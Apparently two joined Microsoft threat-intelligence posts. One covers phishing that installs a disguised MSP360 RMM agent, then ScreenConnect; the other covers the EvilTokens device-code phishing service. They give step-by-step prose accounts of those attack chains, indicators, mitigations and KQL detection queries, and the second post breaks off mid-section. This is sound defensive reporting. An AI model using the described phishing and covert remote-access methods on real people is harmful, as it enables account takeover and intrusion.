In July 2026, Microsoft Defender Experts observed phishing campaigns targeting organizations across multiple industries that distributed a masqueraded MSP360 Remote Monitoring and Management (RMM) installer through meeting invitations, PDF-themed lures, software update prompts, and other social-engineering content. Once executed, the legitimate MSP360 installer, distributed under a deceptive file name established remote management access on affected devices and enabled threat actors to gain an initial foothold using trusted administrative software.

Microsoft observed the MSP360 deployment being used to download and install a ConnectWise ScreenConnect client, creating a secondary remote-access channel that provided redundant access to compromised systems. Microsoft did not observe exploitation of ScreenConnect software itself; rather, threat actors abused legitimately obtained remote administration software to establish and maintain access. After access was established, threat actors used these remote administration channels to deploy additional tools and conduct post-compromise activity, including information collection and credential-access operations.

This activity highlights how threat actors continue to abuse legitimate remote administration software to blend into normal IT operations while maintaining persistent access and reducing detection opportunities. Microsoft Defender for Endpoint detects suspicious and uncommon remote-management activity, while the hunting queries and mitigations in this post can help organizations identify and restrict unapproved RMM use.

Attack chain overview

The observed multi-stage intrusion chain began when phishing lures delivered a legitimate, digitally signed MSP360 RMM v2.5.0.67 installer under deceptive filenames. Following successful User Account Control (UAC) elevation, the installer established MSP360 services for persistent access and leveraged the RMM agent to invoke PowerShell, download, and silently install ConnectWise ScreenConnect.

This effectively introduced a second remote administration channel on the compromised device, which the threat actor subsequently used to transfer and execute additional tooling supporting credential access, local data collection, and other post-compromise activity.

Initial Access: Phishing Campaign Delivering Masqueraded MSP360 RMM Installer

Microsoft observed multiple phishing campaigns that used a multi-stage delivery chain to distribute legitimate, digitally signed MSP360 RMM software (v2.5.0.67). Phishing emails directed users to actor-controlled landing pages that impersonated document-sharing portals, invitation workflows, Adobe Reader download pages, Zoom installation pages, and business collaboration platforms.

Upon user interaction, victims were redirected to download locations hosted on both attacker-controlled infrastructure and legitimate cloud services including Amazon S3, Cloudflare R2, Dropbox, GitLab, and Supabase. The downloaded executables used filenames crafted to resemble legitimate business content, meeting invitations, PDF documents, and software installers. Analysis of downloaded samples showed that many ultimately contained the same MSP360 RMM installer package despite appearing as different files to the victim.

MSP360 SHA256: 108ef7e628d7a20bd6241a5b57149e27a6061f467123eb64061975559f8f73dc

MSP360 SHA1: f34330d4c6e0aa978dc3af40360c14b31ad51127

Observed lure themes:

We have observed the threat actor using multiple social-engineering themes, including:

• Workplace meeting requests
• Zoom and Google Meet installation prompts
• Adobe Acrobat and PDF reader updates
• RSVP invitations and e-cards
• Job offer documents
• Document review and signature requests
• DHL and package-delivery themed content

Examples of observed filenames included:

• VIP_ECARD_INVITATION_rmm_v2.5.0.67_oid[redacted].exe
• ZoomSetup_Installation_v2.5.0.67_ oid[redacted].exe
• PDF Reader & Editor the Adobe Acrobatte_rmm_v2.5.0.67_ oid[redacted].exe
• RSVP_INVITATION_E_CARD_rmm_v2.5.0.67_ oid[redacted].exe
• SSA.GOV_STATEMENT_rmm_v2.5.0.67_ oid[redacted].exe

The campaign relied on a diverse set of payload-hosting mechanisms. Microsoft observed the actor distributing the payload through attacker-controlled domains, websites assessed to be compromised, and legitimate cloud-hosted services. Cloud-hosted services used for payload distribution included Amazon S3, Cloudflare R2, Dropbox, GitLab, and Supabase.

This approach enabled the actor to rapidly rotate delivery infrastructure while continuing to distribute the same MSP360 installer using different lure themes and filenames.

RMM platforms are attractive to threat actors because they are designed to provide administrators with broad remote management capabilities across managed endpoints, including remote command execution, software deployment, file transfer, and persistent service-based access. When abused, these same capabilities can give threat actors a flexible post-compromise channel for maintaining access, deploying additional tooling, and conducting follow-on activity while blending in with legitimate remote administration workflows.

MSP360 RMM installation and foothold establishment

After victims downloaded and executed the masqueraded MSP360 installer, the binary launched from the user’s Downloads directory under a filename designed to resemble a legitimate business document.

The installer subsequently dropped multiple installation components, including System.dll, nsExec.dll, and UAC.dll, to the following folder paths before relaunching itself through an elevation workflow generated by the installer framework. Next, the installer invoked a Windows User Account Control (UAC) elevation workflow. In observed successful installations, the process continued with elevated privileges, allowing deployment of MSP360 components and services. In unsuccessful installations, the elevation did not complete, and deployment terminated before the software was fully installed.

Following elevation, the installer initiated the MSP360 installation workflow and recorded installation status messages using Windows eventcreate.exe. The installer generated “Begin installation” and “End installation. MSP360 de Success.” events under the event source: MSP360 RMM Agent installer. The installer dropped multiple MSP360 plugins and binaries within the installation directory: C:\Program Files\RMM Agent\.

The installer also performed prerequisite discovery by enumerating installed .NET runtimes using: dotnet –list-runtimes. To establish long-term access on the affected device, the installer registered two Windows services: RMM.Agent.exe & RMM.Agent.Launcher.exe. Microsoft observed events indicating stopping any existing MSP360 services and installing new MSP360 services.

In addition to service-based persistence, the installer created registry-based autorun entries for MSP360 user interface components, ensuring the tray applications would automatically launch when users signed in.

The installation routine also modified the Windows Firewall configuration by creating an inbound allow rule for the MSP360 agent. The rule allowed inbound UDP traffic to C:\Program Files\RMM Agent\RMM.Agent.exe on port 48678. This configuration enabled network communications required by the remote management platform.

Not every execution of the installer resulted in a successful deployment. In some instances, the installer was launched by the user and began its installation routine but subsequently attempted to obtain elevated privileges through User Account Control (UAC). When elevation was denied or aborted, the installation terminated before completing deployment of the MSP360 RMM components. The process execution flow showed installation initialization activity followed by events indicating that administrative privileges were required, with no subsequent evidence of the persistence mechanisms, services, or remote management functionality observed during successful installations.

Remote command execution from MSP360 Agent and ScreenConnect deployment

Following successful installation of MSP360 RMM, the newly installed RMM.Agent.exe service launched PowerShell. The PowerShell process modified the execution policy for the current session and executed Invoke-WebRequest commands to download an MSI package named ClientSetup.msi from actor-controlled infrastructure. The downloaded package was then installed silently through msiexec.exe using the /qn switch, eliminating visible user interaction. This installation activity resulted in the deployment of a ConnectWise ScreenConnect client on the compromised endpoint, including ScreenConnect.ClientService.exe, ScreenConnect.WindowsClient.exe, and supporting components.

The installer additionally created Windows service registrations, application uninstall entries, and authentication-related registry modifications associated with the newly deployed ScreenConnect client.

Following deployment, the ScreenConnect client service launched with configuration parameters referencing actor-controlled infrastructure and subsequently established successful outbound communications. The service then spawned ScreenConnect.WindowsClient.exe, providing an additional remote access channel independent of MSP360. Following establishment of the ScreenConnect session, the threat actor used ScreenConnect to transfer and stage additional executables in the following directories:

• C:\Users\%user%\OneDrive\Documents\ScreenConnect\Temp\
• C:\Users\%user%\Documents\ScreenConnect\Temp\

Examples of frequently observed files included:

• WindVerify.exe
• WindowsUpdate.exe
• WindowsSecurity_PIN.exe
• WindowsSecurity_Password.exe
• WindowsPassKey.exe
• SCHider.exe
• PIN.exe
• phonepc.exe
• DefenderDT.exe
• DefenderControl.exe
• phonelinkupdate.exe
• PhoneLinkPrompt.exe
• Passwords.EXE
• OpenCamera.exe
• open_phone_link.exe
• MouseHiderGUI.exe
• HideUL.exe
• HideMouseApp.dll
• HideMouse.exe
• HideFromControlPanel.exe
• HideCursor.exe
• BannerHider.exe
• WebBrowserBookmarksView.exe
• WebBrowserPassView.exe

These files were among the most frequently observed utilities delivered by the threat actor following establishment of a ScreenConnect session. Several filenames were intentionally chosen to resemble legitimate Windows, Microsoft Defender, Phone Link, and security-related components, likely to reduce user suspicion and blend into normal operating system activity. These utilities were observed during post-compromise activity and were used to support subsequent operations on affected systems. Several of the observed tools are commonly associated with credential access, information collection, execution of additional payloads, and efforts to reduce defender visibility.

The execution of these files occurred through ScreenConnect’s built-in RunFile functionality, which allows files to be transferred to and executed on managed endpoints. This activity demonstrates how the threat actor leveraged a legitimate MSP360 RMM deployment to establish an initial foothold before deploying ConnectWise ScreenConnect as a secondary remote access platform. The combination of MSP360 and ScreenConnect provided the threat actor with redundant remote administration channels and enabled the transfer, execution, and management of additional tooling during subsequent stages of the intrusion.

The threat actor subsequently used these remote access platforms to facilitate follow-on activities including information collection, credential access, and the deployment of additional utilities on compromised systems.

Microsoft also observed separate activity during July in which FaronicsDeployAgent.exe, a legitimate deployment and remote access application, was used in a similar manner to MSP360 RMM. In this activity, the threat actor leveraged FaronicsDeployAgent.exe as the initial remote management platform and subsequently used it to download and install ScreenConnect. This observation demonstrates that the deployment of ScreenConnect was not limited to MSP360-based intrusions, with additional legitimate remote administration software also being leveraged to establish remote access and facilitate ScreenConnect installation.

Attribution

Microsoft has not attributed this activity to a named threat actor. The campaigns are tracked as unattributed activity.

Mitigation and protection guidance

Microsoft recommends the following actions to help organizations reduce their exposure to this activity. Check the recommendations card for the deployment status of monitored mitigations.

• Govern approved RMM tools: For approved RMM systems used in your environment, enforce security settings where possible to implement multi-factor authentication (MFA).
• Restrict unauthorized software: Use Application Control for Windows to create policies to block unapproved IT management tools. Both solutions include functionality to block specific software publisher certificates:
  • Application Control for Windows file rule levels allow administrators to specify the level at which they want to trust their applications, including listing certificates as untrusted.
  • AppLocker’s publisher rule condition is available for files that are digitally signed, which can enable organizations to block non-approved RMM instances that include publisher information.
• Block specific signed applications: Microsoft Defender for Endpoint also provides functionality to block specific signed applications using the block certificate action.
• Consider searching for unapproved RMM software installations (see the Advanced hunting section). If an unapproved installation is discovered, reset passwords for accounts used to install the RMM services. If a system-level account was used to install the software, further investigation may be warranted.
• Strengthen endpoint protection: Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections provide near-instant, automated protection against new and emerging threats.
• Investigate unauthorized installations: Turn on the following attack surface reduction rule to block or audit activity associated with this threat:
  • Use advanced protection against ransomware
  • Block process creations originating from PsExec and WMI commands. Some organizations may experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Threat intelligence reports

Microsoft customers can use Microsoft Defender XDR Threat Analytics and related Microsoft threat intelligence reporting to stay current on the malicious activity, indicators, detection coverage, and recommended response actions associated with this campaign. These reports provide investigation context, protection guidance, and updated intelligence that security teams can use to prevent, mitigate, or respond to related activity in their environments.

Advanced hunting

// Run this query to identify the presence of MSP360 RMM agent

let MSP360RMM = "108ef7e628d7a20bd6241a5b57149e27a6061f467123eb64061975559f8f73dc";
DeviceFileEvents
| where Timestamp >= ago(30d)
| where SHA256 =~ MSP360RMM

// Run this query to identify the remote command execution from MSP360 RMM Agent

DeviceProcessEvents
| where Timestamp >= ago(30d)  
| where (InitiatingProcessVersionInfoCompanyName == "MSP360" and ProcessCommandLine == "\"powershell.exe\"") or ( InitiatingProcessCommandLine == "\"powershell.exe\"" and ProcessCommandLine has_all ("msiexec.exe","\\Temp\\",".msi") and InitiatingProcessParentFileName == "RMM.Agent.exe")

// Run this query to identify the suspicious network connections from the threat actor’s use of ScreenConnect

let MaliciousURLs =  DeviceNetworkEvents
| where Timestamp >= ago(30d)
| where InitiatingProcessCommandLine == "\"powershell.exe\""
| where InitiatingProcessParentFileName == "RMM.Agent.exe"
| where isnotempty(RemoteUrl)
| distinct  RemoteUrl;
DeviceNetworkEvents
| where Timestamp >= ago(30d)
| where InitiatingProcessFileName has_any ( "ScreenConnect.ClientService.exe","ScreenConnect.WindowsClient.exe","ScreenConnect.Client.exe")
| where isnotempty(RemoteUrl)
| where RemoteUrl in (MaliciousURLs)

// Run this query to identify the suspicious payloads dropped and launched by the threat actor’s use of ScreenConnect

DeviceProcessEvents
| where Timestamp >= ago(30d)  
| where InitiatingProcessCommandLine  has_all ("ScreenConnect.WindowsClient.exe", "RunFile","\\Documents\\","\\Temp\\")

MITRE ATT&CK Techniques observed

This campaign has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Resource Development

• T1583.001 Acquire Infrastructure: Domains | Domains were used to host phishing landing pages, payload delivery infrastructure, and ScreenConnect services associated with the campaign.
• T1583.006 Acquire Infrastructure: Web Services | The threat actor leveraged legitimate cloud-hosting providers including Amazon S3, Cloudflare R2, Dropbox, GitLab, and Supabase for payload distribution.

Initial Access

• T1566.002 Phishing: Spearphishing Link | Victims received workplace meeting, Zoom, Google Meet, invitation, RSVP, PDF, and Adobe-themed phishing emails containing links that redirected to malicious payload download locations.
• T1204 User Execution | Victims downloaded and executed a masqueraded MSP360 installer distributed under deceptive filenames designed to resemble legitimate business documents and software.

Execution

• T1059.001 Command and Scripting Interpreter: PowerShell | The MSP360 RMM.Agent.exe service launched PowerShell to download and install ConnectWise ScreenConnect.
• T1059.003 Command and Scripting Interpreter: Windows Command Shell | Installation workflows used cmd.exe for logging, prerequisite checks, file management, and installation-related tasks.
• T1218.007 System Binary Proxy Execution: Msiexec | The downloaded ClientSetup.msi package was installed silently using msiexec.exe /qn.

Persistence

• T1543.003 Create or Modify System Process: Windows Service | MSP360 and ScreenConnect were installed as Windows services to establish persistent access.
• T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | MSP360 created registry Run entries to automatically launch tray application components at user logon.

Defense Evasion

• T1036 Masquerading | The actor distributed legitimate MSP360 software under filenames designed to resemble meeting applications, invitations, PDFs, and business documents.
• T1036.005 Match Legitimate Name or Location | Follow-on tooling used filenames that closely resembled legitimate Windows, Microsoft Defender, security, and Phone Link applications.
• T1112 Modify Registry | MSP360 and ScreenConnect modified registry locations associated with services, persistence, credential provider components, protocol handlers, and uninstall entries.

Command and Control

• T1219 Remote Access Software | The threat actor abused legitimate remote administration software including MSP360 RMM and ConnectWise ScreenConnect to maintain access to victim systems.
• T1105 Ingress Tool Transfer | MSP360 downloaded ScreenConnect, while the threat actor’s use of ScreenConnect was subsequently used to transfer and execute additional tooling on compromised endpoints.
• T1071.001 Application Layer Protocol: Web Protocols | PowerShell and ScreenConnect communicated with actor-controlled infrastructure over HTTP/HTTPS.
• T1573 Encrypted Channel | Payload retrieval and remote access communications occurred over encrypted network channels.
• T1102 Web Service | Multiple cloud-hosted web services were used throughout the delivery and command-and-control infrastructure.

Discovery

• T1082 System Information Discovery | The installer enumerated installed .NET runtimes using dotnet –list-runtimes during the installation workflow.

Collection

• T1005 Data from Local System | Additional tooling delivered through ScreenConnect was observed in post-compromise activity and used to collect information from victim devices.

Indicators of compromise (IOCs)

Observed indicators associated with this campaign are listed below.

Learn More

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Learn more about securing Copilot Studio agents with Microsoft Defender 
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Prompt injection protection in Microsoft Defender for Office 365 – official documentation of the prompt injection protection in Microsoft Defender for Office 365.
• How Microsoft discovers and mitigates evolving attacks against AI guardrails | Microsoft Security Blog
• Manipulating AI memory for profit: The rise of AI Recommendation Poisoning | Microsoft Security Blog – a related example of an AI-era technique observed in email traffic
• Defending the inbox against prompt injection attacks | Microsoft Defender for Office 365 Blog – feature announcement introducing prompt injection protection in Microsoft Defender for Office 365.
• Learn how Microsoft is reimagining the SOC for the agentic era with ISOC in Microsoft Defender

The post Phishing Abuses RMM Tools for Persistent Access appeared first on Microsoft Security Blog.

Following its emergence in February 2026, EvilTokens quickly became one of the most widely used phishing-as-a-service (PhaaS) platforms, providing cybercriminals with AI capabilities for tailoring phishing lures and analyzing compromised inboxes to identify high-value targets. This AI-powered cybercrime platform facilitated sophisticated business email compromise (BEC) campaigns that compromised more than 12,000 inboxes in over 10,000 organizations worldwide.

EvilTokens enabled threat actors to abuse the device code authentication flow, steal tokens, and compromise organizational accounts at scale using an AI-driven infrastructure and automating multiple parts of the attack chain. The toolkit offered a plethora of prebuilt phishing templates and landing pages with an AI-powered assistant to aid in structuring target-specific emails.

Stolen tokens are used for email exfiltration and persistence, often through the creation of malicious inbox rules that conceal communications. In some cases, tokens can also be used to grant new devices access to a victim’s inbox, a particularly durable method to maintain persistence. Microsoft Threat Intelligence tracks the threat actor behind the development and support of the EvilTokens phish kit as Storm-2992.

Post-compromise, EvilTokens enabled threat actors to utilize AI assistants to sift through victim mailbox activity and engineer a phishing message based on the accessible email content. EvilTokens also allowed threat actors to conduct Microsoft Graph reconnaissance to map organizational structure and permissions, enabling continued access and potential lateral movement while tokens remain valid. While token-targeting phishing is not new, it has become far more common and industrialized over the last several years as organizations adopted multifactor authentication (MFA).

To evade detection, EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Targets are lured through deceptive emails that use 44 different themes, including invoices and request for proposals (RFPs), or shared files. These emails contained malicious URLs, PDF attachments, and HTML files.

Campaigns leveraging EvilTokens have impacted organizations in various industries, including wholesale distribution, construction, financial services, real estate, higher education, and healthcare, with the highest concentrations of observed victim activity in the United States, Canada, the United Kingdom, Australia, India, and France. Working with partners, Microsoft’s Digital Crimes Unit (DCU) facilitated a coordinated disruption of infrastructure used to operate the EvilTokens service.

This blog provides a comprehensive, up-to-date analysis of the EvilTokens platform and operations. We share specific examples of the EvilTokens service panel and a detailed analysis of EvilTokens infrastructure. Defending against EvilTokens and similar adversary-in-the-middle (AiTM) phishing threats requires a layered approach that blends technical controls with user awareness. This blog also provides Microsoft Defender detection and hunting guidance, as well as resources on how to set up mail flow rules, enforce spoof protections, and configure third-party connectors to prevent spoofed phishing messages from reaching user inboxes.

What is device code phishing?

One of the primary capabilities of EvilTokens is its device code phishing flow, which abuses device code authentication, a legitimate OAuth flow designed for devices with limited interfaces, such as smart TVs, printers, Teams devices, and conferencing devices, that cannot support a standard interactive sign-in. In this model, a user is presented with a short code on the device they are trying to sign in from and is instructed to enter that code into a browser on a separate device to complete authentication.

While this flow is useful for these scenarios, it introduces a security tradeoff. Because authentication is completed on a separate device, the session initiating the request is not strongly bound to the user’s original context. Threat actors have abused this characteristic as a way to circumvent traditional MFA protections by decoupling authentication from the originating session. Threat actors also use social engineering layouts and other tricks to disguise the legitimate device code flow approval as something else required.

Device code phishing occurs when threat actors insert themselves into this process. Instead of a legitimate device requesting access, the threat actor initiates the flow and provides the user with a code through a phishing lure. When the user enters the code, they unknowingly authorize the threat actor’s session, granting access to the account without exposing credentials. Microsoft recommends blocking device code flow wherever possible. If your organization uses Teams devices that require device code flow, scope the exception to specific Teams device resource accounts and exclude the Device Registration Service resource from your Conditional Access policy.

In April 2026, Microsoft tracked a phishing campaign aligned with EvilTokens that used automation platforms to spin up thousands of unique, short-lived polling nodes. This approach allowed the threat actors to deploy complex backend logic (Node.js) that bypassed traditional signature-based or pattern-based detection. This infrastructure was leveraged in the attack end-to-end, from generating dynamic device codes to post-compromise activities.

The following sections examine how EvilTokens operated, the capabilities available through its customer panel, and infrastructure supporting phishing campaigns. We also trace the EvilTokens attack chain, from lure delivery and device code generation through defense evasion, token theft, and post-compromise activity.

EvilTokens platform and operations

Distribution and affiliate support

The threat actor tracked as Storm-2992 advertised and sold EvilTokens services to cybercriminals on the actor’s Telegram channels. Cybercriminals continue to gravitate towards apps like Telegram that provide anonymity, cross-platform access, file sharing, and channels for broadcasting announcements to large groups of followers. The threat actor uses Telegram to advertise their phish kit, announce updates, coordinate with their subscribers, and provide customer support.

EvilTokens phish kits are sold at $1,500 USD for initial purchase, with a monthly subscription fee of $500 for continued access to the kit and control panel. The kit provides additional products, including Antibot redirector, B2B Sender, Office 365 Capture Link, and a Simple Mail Transfer Protocol (SMTP) Sender. Each of these products has additional fees for 30 days of access.

Customer panel and campaign configuration

The EvilTokens panel provides the core components needed to support phishing campaigns, including pre‑built templates, attachment files for common lure formats, domain and hosting configuration, redirect logic, and victim tracking.

After signing in, EvilTokens subscribers are presented a dashboard with various options to choose from. First, subscribers are asked to choose a deployment method (Cloudflare Workers/Bunny or PHP Hosting) and then are asked to choose from a list of deploy options, including Capture Mode, Layout & Template, Code Display Style, Page Language, CAPTCHA, AI Mode, and Captured Text. These options allow subscribers to highly customize their deployment methods.

Subscribers are provided with multiple settings and additional guidance for managing captured tokens. Once tokens have been captured, EvilTokens offers its subscribers full access to the victim email account, as well as admin detection, token auto-refresh, and an auto-scan of inboxes using keyword alerts through Telegram.

The toolkit offers additional products, which are detailed under Essential Tools. Here, subscribers are given product information and are provided with a link to download or get the product as well as a video tutorial. Subscribers are even given the opportunity to receive cryptocurrency as a reward for referring the service to others.

The platform offers 44 different themes for customizing email templates and landing pages, including text and colors.

EvilTokens phishing emails

EvilTokens offers subscribers personalized lures, using AI to create targeted phishing emails aligned to the target’s role, including the use of various themes to increase the likelihood of user interaction. Themes used include document signing services, Microsoft cloud services, third-party services (cloud identity, file hosting, payment/invoicing), and other miscellaneous services like voicemail and eFax.

Additionally, researchers at Huntress noted email content like construction bid proposals, business partnership agreements, employee compensation/benefits, and password expiring notices in EvilTokens emails.

EvilTokens phishing sequence

The attack chain begins when a user interacts with a malicious attachment or URL embedded within a high-pressure lure (for example, “Action Required: Password Expiration”).

When a user clicks the malicious link or attachment, they are directed to a web page running a background automation script. This script interacts with the Microsoft identity provider in real time to generate a live device code. This code is then displayed on the user’s screen with a “Copy Code” button along with a “Continue” or “Continue with Microsoft” button that, when clicked, redirects to the official microsoft.com/devicelogin portal.

After presenting the code to the user and opening the legitimate microsoft.com/devicelogin URL, the script enters a polling state using the checkStatus() function to monitor the 15-minute window in real time. Every three to five seconds (setInterval), the script pings the threat actor’s /state endpoint. It sends the secret session identifier code to validate if the user has authenticated yet. While the targeted user is entering the code on the real Microsoft site, the loop returns a “pending” status.

To minimize user effort and maximize the success rate, the threat actor’s script often automatically copies the generated device code to the user’s clipboard. Once the user reaches the official sign-in page, they paste the code. If the user does not have an active session, they are prompted to provide their password and MFA. If they are already signed in, simply pasting the code and confirming the request instantly authenticates the threat actor’s session in the backend.

The final stage varies depending on the threat actor’s specific objectives. In some instances, within 10 minutes of the breach, threat actors registered new devices to generate a Primary Refresh Token (PRT) for long-term persistence. In other scenarios, they waited several hours before creating malicious inbox rules or exfiltrating sensitive email data to avoid immediate detection.

EvilTokens adds the capability for threat actors to phish and take actions that they would not be capable of performing without EvilTokens tools assisting them, giving threat actors the ability to mass-phish users and perform other operations at their leisure.

Defense evasion

EvilTokens uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. Phishing pages delivered to the user vary in complexity and evasion techniques, adding a customization layer by the operator and which tools they use. Popular techniques include but are not limited to image links (images that link to URLs), multi-stage redirection schemes, and attachments containing multi-stage delivery.

Landing page evasions include fake CAPTCHA checks/verification services that require user interaction before displaying the phishing content. To further evade automated URL scanners and sandboxes, the threat actors will at times not link directly to the final phishing site. Instead, they use a series of redirects through compromised legitimate domains and high-reputation “serverless” platforms. We observed heavy reliance on abuse of Vercel (.vercel.app), Cloudflare Workers (.workers.dev), and AWS Lambda for hosting the redirect logic. By using these domains, the phishing traffic blends in with legitimate enterprise cloud traffic, evading simple domain-blocklist triggers.

Post-compromise account access

Once authentication tokens are obtained, threat actors can focus on post-compromise activity designed to maintain and expand access and extract data. This access can be used to send further emails internally to the organization and to external contacts, allowing the actor to send phishing emails for seemingly trusted contacts. In one observed incident, the attack progressed to email exfiltration and account persistence through inbox rules created using Microsoft Office. This involved filtering the compromised users and selecting targets:

• High-value target identification: Using the EvilTokens AI capability, the threat actor reviewed and filtered for high-value targets—specifically those in financial, executive, or administrative roles—within the pool of compromised users.
• Accelerated reconnaissance: After gaining access to Microsoft Graph for reconnaissance, the threat actor programmatically mapped internal organizational structures and identified sensitive permissions the moment a token was secured.
• Targeted financial exfiltration: The most invasive activity was reserved for users with financial authority. For these specific profiles, the threat actors performed deep-dive reconnaissance into email communications, searching for high-value targets and sensitive information like wire transfer details, pending invoices, and executive correspondence.

Mitigation and protection guidance

To harden networks against the device code phishing activity described above, defenders can implement the following:

• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Educate users about common phishing techniques. Sign-in prompts should clearly identify the application being authenticated to. As of 2021, Microsoft Azure interactions prompt the user to confirm (“Cancel” or “Continue”) that they are signing in to the app they expect, which is an option frequently missing from phishing sign-ins. Be cautious of any “[EXTERNAL]” messages containing suspicious links. Do not sign in to resources from unfamiliar senders. Learn how to protect yourself from phishing.
• Configure anti-phishing policies. Anti-phishing policies protect against phishing attacks by detecting spoofed senders, impersonation attempts, and other deceptive email techniques.
• Configure Safe Links in Defender for Office 365. Safe Links scanning protects your organization from malicious links that are used in phishing and other attacks. Safe Links can also enable high-confidence device code phishing alerts from Defender.
• If suspected device code phishing activity is identified, follow the guidance on responding to a compromised email account. Additionally, revoke the user’s refresh tokens by calling revokeSign-inSessions. Consider setting a Conditional Access Policy to force re-authentication for users. (Observations from recent campaigns indicate that standard session revocation often only invalidates refresh tokens, leaving existing access tokens active for up to an hour. Given the hands-on nature of this threat, they frequently exploit this window of opportunity; consequently, we recommend temporarily disabling the compromised account to ensure immediate containment, despite the potential for brief business disruption).
• Increase Advanced Phishing Threshold to 2 or 3.
• Enable Zero-hour auto purge (ZAP) in Microsoft Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Create alerting of suspicious inbox-rule creation to quickly identify and triage evidence of business email compromise (BEC) and phishing campaigns. This playbook helps defenders investigate any incident related to suspicious inbox manipulation rules configured by threat actors and take recommended actions to remediate the attack and protect networks.

Microsoft recommends the following best practices to further help improve organizational defenses against phishing and other credential theft attacks:

• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multifactor authentication.
  • When a user is a high risk and Conditional Access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in.
• Require multifactor authentication (MFA). Implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
  • Leverage phishing-resistant authentication methods such as FIDO Tokens, or Microsoft Authenticator with passkey. Avoid telephony-based MFA methods to avoid risks associated with SIM-jacking.
  • Block legacy authentication with Microsoft Entra by using Conditional Access. Legacy authentication protocols do not have the ability to enforce MFA, as legacy MFA (per-user MFA prompts) is susceptible to abuse.
• Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location. The added benefit of centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Entra ID’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier. It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach.
• If there are indications such as alerts that a user’s refresh token is compromised, disable the device and revoke all existing refresh tokens. Disabling the device stops PRTs from working, and revoking the refresh tokens stops any refresh tokens that were issued using the PRT from working. Follow steps from Microsoft’s token theft playbook when responding to alerts related to compromised identities.
• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Entra ID environments to slow and stop the threat actor.
• Enable network protection and web protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.

Microsoft Defender XDR detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Using Safe Links and Microsoft Entra ID Protection raises high-confidence device code phishing alerts from Defender.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the malicious activity and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Technique profile: Device code phishing
• Tool profile: EvilTokens
• Actor profile: Storm-2922

Microsoft Security Copilot customers can also use either the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.

Hunting queries

Microsoft Defender XDR customers can use the following queries to detect possible phishing attempts. To explore up to 30 days’ worth of raw data to inspect events in your network and locate potential EvilTokens-related indicators for more than a week, go to the Advanced hunting page > Query tab, select the calendar dropdown menu to update your query to hunt for the Last 30 days.

If a query provides high value insights into possible malicious or otherwise anomalous behavior, you can create a custom detection rule based on that query and surface those insights as custom alerts. To do this, run the query in the Advanced hunting page and select Create detection rule.

Suspicious URL clicked

This query correlates Microsoft Defender for Office 365 signals and Microsoft Entra ID identity data to find the relevant endpoint event BrowerLaunchedToOpen in Microsoft Defender XDR. This event reflects relevant clicks on the malicious URL in the spear-phishing email recognized by Microsoft Defender for Office 365.

AlertInfo
